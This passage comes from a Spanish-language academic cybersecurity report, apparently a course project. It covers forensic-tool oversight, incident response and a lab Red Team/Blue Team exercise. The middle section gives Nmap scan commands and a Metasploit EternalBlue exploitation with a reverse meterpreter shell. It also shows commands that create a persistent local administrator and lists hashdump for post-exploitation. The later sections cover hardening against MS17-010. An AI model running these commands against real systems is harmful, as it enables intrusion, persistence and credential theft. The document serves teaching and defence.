o Seudonimizacioén: Reemplazar identificadores directos (ej: nombres) por codigos.
J Sandboxing: Analizar datos en entornos aislados sin extraer informacion original.
. Tokenizacion: Usar tokens en lugar de datos reales para pruebas.

Garantias contra el uso indebido

Monitoreo y registro estricto: Herramientas como “SIEM (Security Information and
Event Management)” permiten registrar y analizar actividades para detectar accesos no
autorizados ejemplo: Splunk o IBM QRadar generan alertas por accesos fuera del alcance. (IBM
QRadar SIEM, 2024)
Aprobacion en tiempo real

Mecanismos de doble autenticacion para acciones criticas por ejemplo el cliente recibe
una notificacion para autorizar el acceso a archivos confidenciales. (Autenticacion en Dos Pasos,
2022)
Auditorias cruzadas y verificaciones externas

Contratar terceros independientes para revisar logs y acciones del auditor, como se
recomienda en estdndares como ISO 27001 en el anexo A.12.4. (Harshala J, 2020)
Sanciones contractuales claras

Establecer clausulas que incluyan multas o terminacion inmediata del contrato por
violaciones a la confidencialidad, garantizando el cumplimiento de las politicas de seguridad.

(Ley 1581 de 2012 Articulo 23)
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Supervision y control ético - Herramientas forenses en ciberseguridad

Las herramientas de analisis forense digital son fundamentales en las investigaciones de
incidentes de seguridad (Ciberforensic. 2020). Sin embargo, su capacidad para acceder a grandes
volumenes de informacion sensible las convierte también en instrumentos susceptibles de mal
uso si no se establecen controles adecuados. Por lo anterior en las empresas de ciberseguridad, es
importante implementar mecanismos de supervision y control que integren componentes
técnicos, normativos, €ticos y de gestion con el fin de prevenir usos no autorizados o
cuestionables desde el punto de vista ético (IBM, 2024).
Controles de registro y auditoria inalterable

Todo acceso a herramientas forenses debe quedar registrado en sistemas de gestion de
eventos e informacion de seguridad “SIEM”, garantizando trazabilidad, marcas de tiempo, firmas
digitales y almacenamiento en sistemas independientes. Este control permite detectar acciones
sospechosas y facilita auditorias forenses retroactivas. Normas como NIST SP 800-92 y la
ISO/IEC 27001:2022, anexo a.12.4 respaldan esta medida.
Acceso basado en roles y validacion multiple

Siguiendo el principio de menor privilegio, los empleados deben tener acceso solo a las
herramientas y datos necesarios para su funcion especifica. Para acciones criticas, como la
extraccion de evidencia, se recomienda aplicar el principio de “cuatro ojos”, es decir, validacion
por al menos dos roles distintos. Este tipo de control est4 respaldado por CIS Control 5y PCI
DSS en su requisito 6.4.2.
Codigo de conducta y canal de denuncias éticas

Las organizaciones deben contar con un cédigo de ética institucional que establezca

lineamientos claros sobre el uso adecuado de herramientas forenses. Asimismo, se debe habilitar
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un canal confidencial para la denuncia de comportamientos indebidos, en cumplimiento de
estandares como la “ISO 370017 y la “Ley 2195 de 2022” en Colombia, la cual protege a los
denunciantes de irregularidades.
Politicas y procedimientos estandarizados

La implementacion de politicas de uso aceptable (PUA) y procedimientos operativos
estandar (POE) proporciona un marco de accion para los profesionales forenses. Estas politicas
deben incluir la cadena de custodia de la evidencia, el manejo ético de la informacion y la
comunicacion entre areas. Ademas, se debe aplicar el principio de minimizacion de datos,
alineado con la “Ley 1581 de 2012 sobre proteccion de datos personales, recolectando solo lo
estrictamente necesario.
Supervision constante y cultura de ética

Se deben establecer mecanismos de supervision continua, en especial sobre tareas de alto
impacto, con revision periodica de logs y retroalimentacion sobre el cumplimiento de protocolos.
A esto se suma la importancia de fomentar una cultura organizacional basada en principios
éticos, con capacitaciones periddicas en temas como privacidad, integridad, conflictos de interés
y consecuencias legales. La adopcion de un codigo de conducta fortalece el comportamiento
responsable de los empleados.
Evaluaciones de confiabilidad y gestion de personal

Para quienes acceden a informacion sensible o herramientas avanzadas, es recomendable
realizar evaluaciones de confiabilidad, comportamiento y, en algunos casos, pruebas
psicométricas. Esto ayuda a identificar factores de riesgo humano que puedan afectar la
seguridad organizacional. Estos mecanismos estan recomendados en el control “PS-3 del NIST

SP 800-53.
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Revocacion inmediata de accesos y gestion de identidades

Ante la sospecha de uso indebido, cambio de rol o desvinculacion laboral, los accesos
deben ser revocados de forma inmediata mediante herramientas de “gestion de identidades y
accesos (IAM)”. El control 16 de CIS y la guia “NIST SP 800-114" destacan la importancia de
deshabilitar cuentas privilegiadas de manera oportuna.
Supervision de proveedores externos y herramientas automatizadas

Las empresas deben asegurar que los proveedores de software forense cumplan con los
mismos estandares €ticos y legales. Esto implica realizar evaluaciones periodicas, establecer
contratos con clausulas de cumplimiento ético y monitorear la actividad de dichas herramientas.

El uso de soluciones que generen reportes automaticos de uso puede ayudar a detectar
patrones anomalos en tiempo real.
Formacion legal y actualizacion normativa

Es clave ofrecer formacion continua sobre normativas nacionales como la Ley 1273 de
2009 delitos informaticos, la Ley 1581 de 2012 proteccion de datos y politicas como el CONPES
3995 de 2020 Confianza y Seguridad Digital. Esta actualizacion constante fortalece la toma de
decisiones éticas y legales por parte del personal técnico.
Medidas correctivas y preventivas de Ciberespionaje

Cuando gobiernos y organizaciones descubren una empresa de ciberseguridad que
cometid ciberespionaje, deben tomar medidas inmediatas para mitigar dafos, sancionar a los
responsables y restaurar la confianza institucional y ciudadana.

Este tipo de eventos representa una grave violacion a la integridad contractual, la
“confidencialidad de la informacion” y la seguridad nacional, por lo cual exige una respuesta

integral, estructurada y transparente.
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Contencion inmediata

Esta etapa es de gran importancia para evitar la destruccion de evidencia digital que
pueda ser utilizada en procesos judiciales o disciplinarios. Ademas, se debe involucrar a equipos
legales, técnicos y de cumplimiento normativo de manera simultanea.

(Containment is important before an incident overwhelms resources or increases damage.
Most incidents require containment, so that is an important consideration early in the course of
handling each incident. Containment provides time for developing a tailored remediation
strategy. (NIST SP 800-61, 2024)

. Aislamiento de sistemas: Interrumpir el acceso a plataformas comprometidas,
revocar credenciales de la empresa involucrada y bloquear conexiones de red asociadas.

. Preservacion de evidencia: Aplicar técnicas de cadena de custodia digital para
almacenar logs, respaldos y artefactos de malware en condiciones forenses.

Investigacion y atribucion

Deben aplicarse metodologias aceptadas como la RFC 3227 para recopilacion de
evidencia y estdndares ISO/IEC 27043 para analisis de incidentes.

El analisis puede extenderse a evaluar si existio colusion interna con empleados de la
organizacion contratante. (Ciberforensic, 2020)

. Auditoria forense independiente: Se recomienda recurrir a un equipo externo para
garantizar imparcialidad, como centros de respuesta a incidentes (CERT/CSIRT) o firmas
acreditadas.

o Identificacion de responsables: El analisis debe considerar accesos privilegiados,
vectores de intrusion y posibles filtraciones deliberadas. (La capacidad de andlisis de incidencias

y apoyo forense en sistemas de seguridad... es crucial para la integridad y trazabilidad de los
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eventos, permitiendo investigar incidentes de seguridad de manera efectiva. dsn.gob.es Gestion,
2025)
Sanciones legales y contractuales

o Terminacidn contractual: Aplicacion de clausulas resolutorias por violacion a los
principios de buena fe, “confidencialidad y seguridad de la informacion”.

J Demandas judiciales: Procedimientos civiles, penales o disciplinarios segun la
jurisdiccion aplicable.

. Inhabilitacion publica: Registro de la empresa en bases de datos de proveedores
sancionados o vetados.

Transparencia y comunicacion

La comunicacion debe ser gestionada bajo un protocolo de crisis previamente definido.
La omision o demora en informar puede ser sancionada por autoridades de proteccion de datos.
(an organization should develop its crisis communications plan in a calm period to enable sound
decision-making. Attempting to make good choices on the fly, while in the highpressure
environment surrounding a security incident, is a recipe for disaster. Chapple, 2024)

Es deseable incluir recomendaciones para otros actores del sector y compartir indicadores
de compromiso (IoCs) para fortalecer la seguridad colectiva. (This might be a required
notification in the wake of an unauthorized release of personally identifiable information, or it
might be an explanation to customers of a service disruption. The frequency, quality and content
of these communications have a significant effect on public perception, and these factors work to
either limit or magnify the reputational damage associated with a security incident. Chapple,

2024)
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J Informe publico: Redactar un comunicado institucional que detalle las acciones
adoptadas, sin comprometer datos personales ni la integridad de la investigacion.

o Notificacion a afectados: Informar oportunamente a las partes cuyos datos,
infraestructuras o sistemas hayan sido vulnerados.
Medidas correctivas a largo plazo

. Revision de politicas de contratacion y evaluacion de proveedores: Incluir
criterios de madurez en seguridad, antecedentes de cumplimiento y certificaciones
internacionales.

. Monitoreo reforzado: Aplicacion de soluciones de seguridad avanzada como
SIEM, EDR, DLP, y analisis de comportamiento.

. Capacitacion ética y técnica: Incluir talleres sobre ética profesional, prevencion
del fraude y gestion de incidentes.
Restauracion de confianza

. Compensacion a afectados: Proveer servicios de proteccion contra fraudes,
monitoreo de identidad o asesoria legal.

. Auditorias independientes periddicas: Validar el cumplimiento de controles,
mejores practicas y compromisos asumidos tras el incidente.

Etapa 3 - Ejecucion pruebas de intrusion

Herramientas de Analisis Red Team (Fases de Pentesting)

Las herramientas utilizadas se clasifican segun las cinco fases de pentesting definidas en

el campo de Ciberseguridad de acuerdo con EC-Council (EC-Council, 2022)
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Nmap es una de las herramientas mas utilizadas en pentesting para explorar redes,
identificar dispositivos activos y detectar puertos abiertos. Su motor de scripting (NSE) permite
automatizar tareas como analisis de vulnerabilidades (Ciberseg, 2022).

Planificacion y reconocimiento

Nmap:

. Comando: nmap -sn 192.168.1.0/24

. Identificar direcciones IP activas.

. Resultado: IP de la maquina objetivo: 192.168.1.16

Figura 10

Identificar maquina objetivo

box @ O ©® = = Q £ @ Llun28deabr. 2:18p.m,
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File Actions Edit View Help

File Actions Edit View Help

corrupt history

Nota. Elaboracion propia de evidencia de identificacion maquina objetivo.

Escaneo
o Escaneo profundo
o Comando: sudo nmap -p- -Pn -sS -T4 --min-rate 5000 --max-retries 3

192.168.1.16
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o -p-: escanea todos los puertos TCP (1-65535).

o -Pn: desactiva la deteccion de host.

o -sS: escaneo SYN stealth (Envio de paquetes SYN sin completar el handshake).

o -T4: ajusta la velocidad del escaneo a una configuracion agresiva pero estable.

. --min-rate 5000: fuerza a Nmap a enviar al menos 5000 paquetes por segundo (Es

mas rapido). o --max-retries 3: intenta maximo 3 veces reintentar un puerto (Reduce duracion
del Scan). o 192.168.1.16: direccion IP del host objetivo.

. Objetivo: Detectar todos los puertos abiertos en la maquina objetivo.

Figura 11

Scan host objetivo
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Nota. Elaboracion propia de evidencia de escaneo a maquina objetivo.

Se realizé un scan mas profundo utilizando scripts de NSE (Nmap Scripting Engine)
sobre los puertos abiertos detectados, en particular el puerto 445 (SMB). El analisis revel? la

presencia de una vulnerabilidad critica: MS17-010 (EternalBlue), que permite la ejecucion
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remota de codigo a través del protocolo SMBvV1 sin requerir autenticacion. Esta falla representa
un riesgo elevado de compromiso total del sistema. Ademas, se identifico que el sistema
operativo es una version obsoleta de Windows 7 “Version 6.1 Build 7601: Service Pack 1 EoL
14 de enero de 2020

(GitHub-Name, 2009) sin los parches de seguridad aplicados, lo que lo expone a
amenazas como WannaCry, EternalBlue y accesos no autorizados mediante herramientas como
Metasploit.

. Comando: sudo nmap -
p135,139,445,554,2869,5357,10243,49152,49153,49154,49155,49156,49162 -script vuln
192.168.1.16

o Resultado: Confirmacion de vulnerabilidad MS17-010 en el servicio SMB.

o CVE-2017-0144 (EternalBlue).

. Impacto: Permite ejecucion remota de codigo (RCE) a través de SMBv1.



Figura 12

Scan profundo script NSE
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Nota. Elaboracion propia de evidencia de escaneo profundo con script NSE de Nmap.
Figura 13

Evidencia vulnerabilidad CVE-2017-0143

Lun 28 de abr

266pm.
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Nota. Elaboracion propia de evidencia de la vulnerabilidad de EternalBlue.
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De acuerdo con lo anterior se identificd que la maquina es vulnerable a la vulnerabilidad
MS17-010, también conocida como EternalBlue, que afecta a versiones antiguas de Windows
mediante el protocolo SMBv1. Esta vulnerabilidad permite la ejecucion remota de codigo sin
necesidad de autenticacion, lo que representa un riesgo severo de compromiso total del sistema.
Con base en este hallazgo, se procedi6 a utilizar la herramienta Metasploit Framework que es
una plataforma de pruebas de penetracion ampliamente utilizada en seguridad para explotar
vulnerabilidades conocidas, automatizar ataques y obtener acceso a sistemas de manera
controlada durante auditorias de seguridad (Home, 2017).

Utilizando el médulo exploit/windows/smb/ms17 010 eternalblue de Metasploit, se
establecid exitosamente una sesion remota tipo Meterpreter con privilegios de NT
AUTHORITY\SYSTEM, lo que confirmé la explotacion exitosa del sistema objetivo. Desde esa
sesion, se ejecutaron comandos de administracion del sistema para crear un nuevo usuario local y
posteriormente agregarlo al grupo de administradores locales, otorgandole acceso completo al
equipo.

Esta prueba demuestra como una vulnerabilidad sin mitigar puede permitir a un atacante
externo obtener control total del sistema, crear cuentas persistentes y escalar privilegios
demostrando la importancia de actualizar el versionamiento de Sistemas Operativos, aplicar
actualizaciones de seguridad criticas y deshabilitar protocolos obsoletos como SMBv1.

Obtener acceso

o Herramienta: Metasploit Framework
J Moédulo: exploit/windows/smb/ms17 010 eternalblue
o Comandos:

o set RHOSTS 192.168.1.16



53

o set payload windows/x64/meterpreter/reverse tcp o set LHOST <IP del atacante>
o exploit

o Resultado: Sesion remota Meterpreter con privilegios NT
AUTHORITY\SYSTEM.
Figura 14

Metasploit Modulo EternalBlue

Tent

File Actions Edit View Help
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Nota. Elaboracion propia de evidencia de explotacion de la vulnerabilidad a través de metasploit modulo eternalblue.

Tomamos la IP de la maquina Kali para los comandos posteriores en donde se requiere la

IP Local.
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Figura 15

Identificar IP Kali

Nota. Elaboracion propia de evidencia de IP de maquina atacante.

Figura 16

Metasploit comunicacion maquina atacante a victima

Nota. Elaboracion propia de evidencia de comunicacion maquina atacante a victima.
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Figura 17

Metasploit exploit
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Nota. Elaboracion propia de evidencia de ejecucion de exploit.



Figura 18

Metasploit systeminfo
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Nota. Elaboracion propia de evidencia de acceso a la maquina victima.




57

Mantener Acceso (Elevacion de Privilegios)

. Meterpreter

o Comandos:

o net user Juanm_Leivao juan_leiva /add

. net localgroup Administradores Juanm_Leivao /add

. Resultado: Usuario persistente con privilegios de administrador.

. Meterpreter es parte del payload de Metasploit y permite realizar tareas avanzadas

de postexplotacién de forma encubierta.

Figura 19

Metasploit shell
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Nota. Elaboracion propia de evidencia de elevacion de privilegios.
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Analisis
o Meterpreter y comandos de Windows

o getuid, hashdump, tasklist, reg query, shell

o Extraer informacion del sistema, procesos activos y evidencias de
configuraciones.
. Inspeccionar el entorno comprometido para evaluar el impacto del acceso y

entender posibles fugas o persistencias.
Reconocimiento de Falla de Seguridad en Windows

El documento de “Anexo 4 — Escenario 3” presenta un contexto importante para
comprender el fallo de seguridad de acuerdo con:

. Fuga de informacion: Se indica que la organizacion ha detectado una fuga interna
de datos desde un equipo de computo, lo cual implica una posible exposicién no autorizada.

. Sistema operativo comprometido: Se informa que el sistema afectado corre sobre
una version de Windows, lo cual limita la busqueda a vulnerabilidades conocidas para dicho
sistema operativo. Durante el analisis, se identifico que se trataba de Windows 7 SP1 x64.

. Aplicacion vulnerable instalada: Se indica que la maquina contiene una aplicacion
con una vulnerabilidad conocida que puede estar asociada a un exploit que permite acceso
remoto por shell y escalacion de privilegios.

J Investigacion de escalamiento de privilegios: Se solicita comprobar si es posible
la creacion de un usuario administrador como PoC (Prueba de Concepto). Esta directriz guia la
validacion de fallos criticos que permitan control total del sistema.

o Entrega de copia del sistema por el equipo de forense: Esta evidencia permite

realizar un analisis controlado, seguro y ético del entorno afectado.
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. Con base en esta informacion, se enfoco el analisis en:
o Explorar los puertos y servicios en ejecucion.
o Confirmar si la méquina era vulnerable al exploit MS17-010 (EternalBlue), una

vulnerabilidad historica en Windows 7.

. Analizar servicios secundarios como RTSP (puerto 554) y UPnP que podrian estar
contribuyendo a una fuga pasiva de informacion.
Herramienta de Analisis y Puerto Detectado

La herramienta principal utilizada para identificar los fallos de seguridad fue Nmap, a
través de los scripts NSE (Nmap Scripting Engine) que proporciona.

El script smb-vuln-ms17-010 confirmé que el puerto 445 (SMB) estaba vulnerable a
MS17-010, una vulnerabilidad critica que permite ejecucion remota de codigo.

El puerto 554 (RTSP), asociado a wmpnetwk.exe, también se encontraba abierto,
indicando una posible exposicion pasiva de archivos multimedia, pero a pesar de realizar varios

intentos no se evidencio alguna fuga de informacion.



Impacto del Ataque a la Maquina Windows

Figura 20

Diagrama del ataque
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Escalacion de privilegios

Nota. Elaboracion propia a través de la aplicacion draw.io representando el diagrama de ataque.

La vulnerabilidad MS17-010 (EternalBlue) permite ejecutar cddigo en la maquina
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victima mediante el protocolo SMB sin necesidad de credenciales. Esto otorga al atacante acceso

remoto con permisos de super usuario (SYSTEM). Desde esta posicion, el atacante puede tomar

control total del sistema, modificar configuraciones, extraer informacion y crear cuentas

privilegiadas.
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Documentacion Pasos Ejecutados y Evidencias de Exploit

Reconocimiento de red

Figura 21

Evidencia reconocimiento de red

[sudo] password
Starting N . ://nmap.org )

Nmap scan repor

Host up (9.004 -

MAC Ac 5SS :93 AF = 5¢( ) 2y Compute

Nmap scan report for 192.1

Host 1s up (0.34s5 latency).

MAC Address: B:7E: :EB:BL (Hui Zhou Gaoshengda Technology)

Nota. Elaboracion propia de evidencia de reconocimiento de red.

. Comando: nmap -sn 192.168.1.0/24
. Resultado: IP objetivo detectada: 192.168.1.16

Escaneo de puertos

Figura 22

Evidencia scan de puertos

2879 riltero«

open
open

ope

ope

open

op

op

oper nknown
oper ur 10wn
open

oper

open

(Oracle VirtualBox

Nota. Elaboracion propia de evidencia de puertos descubiertos.
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o Comando: sudo nmap -p- -Pn -sS -T4 --min-rate 5000 --max-retries 3
192.168.1.16

. Resultado: Puertos abiertos identificados: 445, 554, 2869, 5357, 10243, 49152

. 49156, 49162

Analisis de vulnerabilidades

Figura 23

Evidencia andlisis de vulnerabilidades

Nota. Elaboracion propia de evidencia del hallazgo de la vulnerabilidad.

. Comando: sudo nmap -
p135,139,445,554,2869,5357,10243,49152,49153,49154,49155,49156,49162
° --script vuln 192.168.1.16

° Resultado: Puerto 445 vulnerable a MS17-010

Explotacion con metasploit



63

Figura 24

Evidencia Conexion del Atacante hacia la Victima

Nota. Elaboracion propia de evidencia de la conexion hacia la maquina victima.

. use exploit/windows/smb/ms17 010 eternalblue
o set RHOSTS 192.168.1.16

o set LHOST 192.168.1.19

. set payload windows/x64/meterpreter/reverse tcp
. exploit

. Resultado: Sesion Meterpreter como SYSTEM
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Figura 25

Evidencia explotacion con Metasploit

Nota. Elaboracion propia de evidencia de la ejecucion del exploit.

Post-explotacion

Figura 26

Evidencia post-explotacion

Nota. Elaboracion propia de evidencia posterior a la explotacion.
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o Verificacion de privilegios: NT AUTHORITY\SYSTEM

o Creacion del usuario:

o net user Juanm_Leivao juan_leiva /add

o net localgroup Administradores Juanm_Leivao /add

. Confirmacién de usuario: net user, net localgroup
Figura 27

Evidencia acceso y elevacion de privilegios

Nota. Elaboracion propia de evidencia de acceso y elevacion de privilegios.

Etapa 4 - Contencion de Ataques Informaticos
Accion inicial frente a un Ataque en tiempo Real
Ante un ataque en tiempo real, lo primero que deberiamos hacer como parte del equipo
Blue Team es aislar el host comprometido para evitar que la amenaza se propague (CSIRT,
2021). En el caso especifico de la vulnerabilidad MS17-010 - explotada durante el ejercicio, la
contencion debe ser inmediata, ya sea desconectando el equipo de la red fisicamente o

deshabilitando el puerto en el switch capa 2. Esta accidn es critica porque un ataque al protocolo
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SMBvV1 permite movimientos laterales automaticos, comprometiendo otras maquinas en
segundos.

La explotacion de la actividad de la etapa 3 se alinea con la técnica T1210 “Exploitation
of Remote Services” del marco MITRE ATT&CK, correspondiente a la tactica de Ejecucion. Si
el atacante crea un usuario con privilegios administrativos para persistencia, esto se relaciona con
la técnica T1136 “Create Account”, vinculada a las tacticas de Persistencia y Elevacion de
privilegios. Utilizar esta taxonomia permite al Blue Team priorizar controles de seguridad,
mapear rutas de ataque y configurar alertas mas precisas en herramientas como SIEM. (T1210;
MITRE ATT&CK, 2018), (T1136; MITRE ATT&CK, 2017)

Una vez contenida la méaquina, analizaria los procesos activos para identificar anomalias
(como alto consumo de recursos, servicios sospechosos o conexiones a IPs desconocidas), junto
con los logs del sistema, especialmente eventos de inicio de sesion fallidos o creacion de
procesos inusuales para evidenciar la ejecucion del exploit o intentos de persistencia. Estas
acciones iniciales permitirian contener el ataque mientras se determina el alcance y se activa el
protocolo de respuesta correspondiente. Es importante actuar de manera inmediata, pero
conservando evidencia para un analisis posterior. Dentro de las acciones a realizar se pueden

incluir:
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Tabla 2

Acciones a Realizar

Fases Accién Proceso y/o herramienta Objetivo

Contencion Aislar el equipo ) ) ) )
Disable-NetAdapter, Switch  Evitar propagacion lateral del ataque

inicial comprometido
Inspeccion del  Verificar procesos Detectar malware o procesos usados
. PowerShell, Process Explorer )
sistema sospechosos por exploits
Anélisis de Revisar conexiones ) Identificar actividad maliciosa via
) netstat, TCPView
red activas SMB
Revision de ) ) Event Viewer (IDs 4625, Detectar intentos de acceso no
Examinar eventos criticos ) .
logs 4688) autorizados y procesos inesperados
Captura de Analizar trafico SMB o ) Obtener evidencia para el analisis
. ) Wireshark
trafico conexiones persistentes forense

Nota. Fases y herramientas de contencion posterior a la explotacion.

Medidas de Hardenizacion Propuestas

Después de haber realizado el ejercicio de ataque desde el Red Team, queda claro que
una de las fallas mas criticas fue mantener activo el protocolo SMBv1 en una maquina con
Windows 7 sin parches de actualizacion. Esa combinacion dejé la puerta abierta para la
explotacion via EternalBlue sin necesidad de autenticacion.

Para evitar que un tipo de ataque de los realizados se vuelva repetir, propondria eliminar
completamente el soporte a SMBv1 en todos los sistemas donde atn esté presente. Ademas,
aunque Windows 7 ya no tiene soporte oficial por estar en EoL, es posible descargar e instalar
manualmente el parche correspondiente (MS17-010). Como medida adicional de mitigacién
temporal “especialmente en sistemas donde no se puede actualizar de inmediato” también se
podria implementar técnicas de virtual patching, por ejemplo, mediante reglas especificas en el
firewall o soluciones IPS que bloqueen intentos de explotar vulnerabilidades como Eternalblue.

Es importante reforzar las reglas del firewall para evitar que servicios como SMB estén
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expuestos a redes no confiables, asi como activar protecciones a nivel del sistema para evitar la
extraccion de credenciales.

Por ultimo, revisaria de forma general la postura de seguridad del sistema operativo,
eliminando servicios innecesarios, ajustando los privilegios de las cuentas de usuario y aplicando

configuraciones recomendadas por estandares como los benchmarks del CIS.

Tabla 3

Hardening servicios y protocolos

Componente Accién recomendada Justificacion técnica
Protocolo o . Es un vector comtn de ataques como
Eliminar por completo (no solo deshabilitar)
SMBv1 WannaCry o EternalBlue
Parche de Aplicar manualmente KB4012212 (MS17- Cierra la vulnerabilidad que permite ejecucion
seguridad 010) remota de codigo
Firewall Bloquear trafico entrante en puerto 445 Reduce la exposicion del servicio SMB en red
Proteccion de ) ) Evita extraccion de credenciales desde memoria
) Activar LSA Protection (RunAsPPL)
credenciales por malware
Eliminar usuarios innecesarios y restringir Aplica el principio de menor privilegio (Least

Acceso minimo o o
privilegios Privilege)

) ) Implementar reglas especificas en firewall o~ Mitigacion temporal cuando no es posible
Virtual patching ) ) ) )
IPS para bloquear exploits aplicar parches inmediatamente

Nota. Acciones clave para mitigar riesgos asociados a SMBv1 y la vulnerabilidad MS17-010.

Diferencias Equipo Blue Team y de Respuesta a Incidentes Informaticos

Aunque el Blue team suele asociarse a la defensa en general, su rol difiere de un equipo
de respuesta a incidentes CSIRT. El Blue team opera de forma proactiva, enfocandose en
prevenir ataques mediante medidas como:

o Hardening de sistemas.

. Monitoreo continuo con herramientas (SIEM, EDR).

° Control estricto de accesos.



Por otro lado, el CSIRT actia de manera reactiva ante amenazas activas o brechas

confirmadas. Sus funciones clave son:

o Contener el incidente.
o Investigar el origen y alcance.
J Recuperar sistemas afectados.

Ambos equipos colaboran, pero sus enfoques son complementarios: prevencion versus
remediacion.

Como avance del SIEM, muchas organizaciones adoptan soluciones SOAR (security
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orchestration, automation and response) (IBM, 2024), que automatizan tareas repetitivas como:

. Generacion de alertas.
. Bloqueo automatico de IPs maliciosas.
. Aislamiento de equipos comprometidos.

Esta automatizacion mejora la velocidad y eficacia del “Blue Team”, especialmente en

entornos con alto volumen de eventos, permitiéndoles enfocarse en amenazas complejas mientras

el CSIRT gestiona la respuesta activa. (CSIRT, 2021)
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Tabla 4

Funciones y herramientas

Caracteristica Blue team IR team, Respuesta a Incidentes SOAR

) Automatiza acciones preventivas
o Prevencion y y o
Rol principal Contencion y remediacion (“Blue Team”) y de respuesta

monitoreo oL
inicial (/R Team).
Conecta ambos enfoques:
Enfoque Proactivo Reactivo automatiza proactividad y acelera

reaccion.

) i . Integra SIEM/EDR con playbooks
Herramientas  SIEM, EDR, NAC, Forense (FTK, Volatility), analisis )
de respuesta (bloquear IPs o aislar

comunes CIS Benchmarks de malware
hosts).
) ) ) Ejecuta playbooks: deshabilita
Actuacion Configura reglas, Aisla maquinas, analiza RAM o )
) ) ) SMBvVI1 automaticamente (Blue) o
tipica refuerza sistemas disco ) ) )
recopila evidencia (/R).
Actla en tiempo real: prioriza
Momento de Antes o durante )
) ) ) Durante o después del ataque alertas y orquesta respuestas sin
intervencion deteccion temprana
esperar humanos.
) ) ) SOAR recibe alerta de SIEM, aisla
Ejemplo Detecta SMBv1 Investiga una sesidén remota )
) ) o ) el host y notifica al IR Team para
aplicado activo y lo bloquea  maliciosa activa

analisis.

Nota. Comparacion entre Blue team, IR team y SOAR en la respuesta a incidentes.

Trabajar con CIS y su uso dentro de Blue Team

En el contexto del “Blue Team”, trabajar con los benchmarks de Center for Internet
Security (CIS) es una practica sumamente util. Estos documentos ofrecen recomendaciones
detalladas para configurar sistemas operativos, aplicaciones y dispositivos de red de forma
segura. En el caso del ejercicio que desarrollamos, el uso del benchmark de Windows 7 habria
permitido identificar desde un inicio la necesidad de deshabilitar SMBv1, asi como otros

aspectos de seguridad mal configurados.



Ademas, los benchmarks de CIS son reconocidos a nivel internacional, por lo que
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también ayudan a cumplir con estandares de seguridad en auditorias. Por lo anterior, solicitaria a

la organizacion donde trabaje o este auditando, implementar y usar una guia base para

implementar politicas de hardening en los sistemas que administra el equipo de seguridad.

Tabla 5

Beneficios CIS Benchmark

Elemento

Beneficio directo para el blue team

Configuraciones seguras
Reduccion de superficie de
ataque

Alineacion con estandares

Facilidad de auditoria

Automatizacion

Establece directrices detalladas para OS, apps y redes
Elimina servicios innecesarios, refuerza contrasefias y accesos

Compatible con NIST, ISO, y buenas practicas internacionales
Permite demostrar cumplimiento en evaluaciones externas
Herramientas como CIS-CAT Pro permiten validar cumplimiento

automaticamente

Nota. Beneficios clave del uso de CIS Benchmarks para el Blue team.

Funciones y Caracteristicas Principales de un SIEM

Un SIEM (Security Information and Event Management) es una de las herramientas mas

importantes para el “Blue Team” porque permite centralizar toda la informacion de seguridad en

un solo lugar. Con un SIEM, es posible recibir alertas en tiempo real sobre comportamientos

sospechosos, como multiples intentos fallidos de inicio de sesion, uso de servicios obsoletos

como SMBvV1 o conexiones desde direcciones IP poco comunes (Harshala, 2020).

Ademas, el SIEM permite hacer un andlisis forense de eventos pasados, lo que es muy

util en caso de tener que investigar un incidente. En el escenario del ejercicio, una regla bien

configurada en el SIEM habria permitido detectar la ejecucion del exploit o la creacion del nuevo

usuario con privilegios, facilitando una respuesta mas rapida.
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Tabla 6

Funciones SIEM

Funcion Descripcion

Correlacion de eventos Detecta patrones maliciosos combinando eventos de diferentes fuentes
Centralizacion de logs Agrupa registros de red, sistemas, endpoints y aplicaciones en un solo lugar
Deteccion de anomalias Permite crear reglas para comportamientos fuera de lo esperado

Respuesta automatizada Algunas soluciones activan scripts o bloqueos ante ciertos eventos

Soporte a forense Guarda eventos histdricos para analisis posterior a incidentes

Cumplimiento normativo Ayuda a cumplir con regulaciones como GDPR, HIPAA, ISO 27001

Nota. Funciones esenciales de un SIEM en la deteccion y respuesta ante incidentes.

Herramientas de Contencion frente Ataques Informaticos

En términos de contencion y no solo deteccion, hay varias herramientas que considero de
gran importancia y las cuales he tenido experiencia laboral como son:

CrowdStrike Falcon: no solo detecta comportamientos maliciosos en tiempo real, sino
que también permite aislar automaticamente un endpoint comprometido, desconectandolo de la
red sin necesidad de apagarlo. Ademas, puede integrarse con sistemas de automatizacion para
ejecutar workflows que se alineen con los playbooks de respuesta definidos por la organizacion,
facilitando una respuesta rdpida y coordinada ante incidentes (CrowdStrike: Frena las brechas.
Impulsa tu negocio. (2025)).

Cisco ISE (NAC): Permite aplicar politicas de acceso dindmicas. Si un equipo no cumple
con ciertos requisitos (por ejemplo, tiene SMBvVI activo), se puede aislar en una red de
cuarentena, evitando el contacto con sistemas criticos.

Firewalls de proxima generacion: A diferencia de un firewall tradicional, estos equipos
analizan el trafico en profundidad y pueden bloquear protocolos como SMBvV1 si se detectan en

segmentos de red donde no deberian estar activos.



Tabla 7

Herramientas de contencion
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Herramienta Tipo Capacidad de contencion Ejemplo de uso
Aislar el endpoint, finalizar Aisla automaticamente un equipo
Crowdstrike EDR )
procesos, bloquear trafico comprometido
Mueve dispositivos a VLAN de Aisla una laptop infectada con
Cisco ISE NAC )
cuarentena comportamiento sospechoso
NGFW (ASA, Firewal Bloquea trafico por aplicacion o Rechaza trafico SMB en red donde no

CheckPoint, Palo Alto) 1L7

protocolo (ej. SMBv1)

debe estar presente

Nota. Herramientas que permiten contener amenazas mediante aislamiento o bloqueo de trafico.
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Conclusiones

El analisis realizado sobre las estrategias Red Team y Blue Team en el contexto de
CyberFort Technologies permitio evidenciar la importancia de un enfoque integral en
ciberseguridad, que combine capacidades técnicas, cumplimiento normativo y principios éticos.
Por un lado, el ejercicio de pentesting demostré como vulnerabilidades criticas como MS17-010
(EternalBlue) pueden ser explotadas para comprometer sistemas obsoletos, destacando la
necesidad urgente de mantener actualizaciones y configuraciones seguras. Por otro lado, las
propuestas de hardening y monitoreo con herramientas como SIEM refuerzan el papel del Blue
Team en la proteccion proactiva de infraestructuras digitales.

El estudio del marco legal colombiano, en particular las Ley 1273 de 2009 y Ley 1581 de
2012, reveld como las malas practicas de CyberFort Technologies (como clausulas que prohibian
denunciar actividades ilegales) vulneran derechos fundamentales y exponen a las organizaciones
a sanciones graves. Esto subraya la importancia de alinear las operaciones de ciberseguridad con
la normativa vigente, garantizando transparencia y responsabilidad en el manejo de datos.

Finalmente, la integracion de estandares como MITRE ATT&CK y CIS Benchmarks
ofrece un camino claro para mejorar la postura de seguridad, mientras que mecanismos como
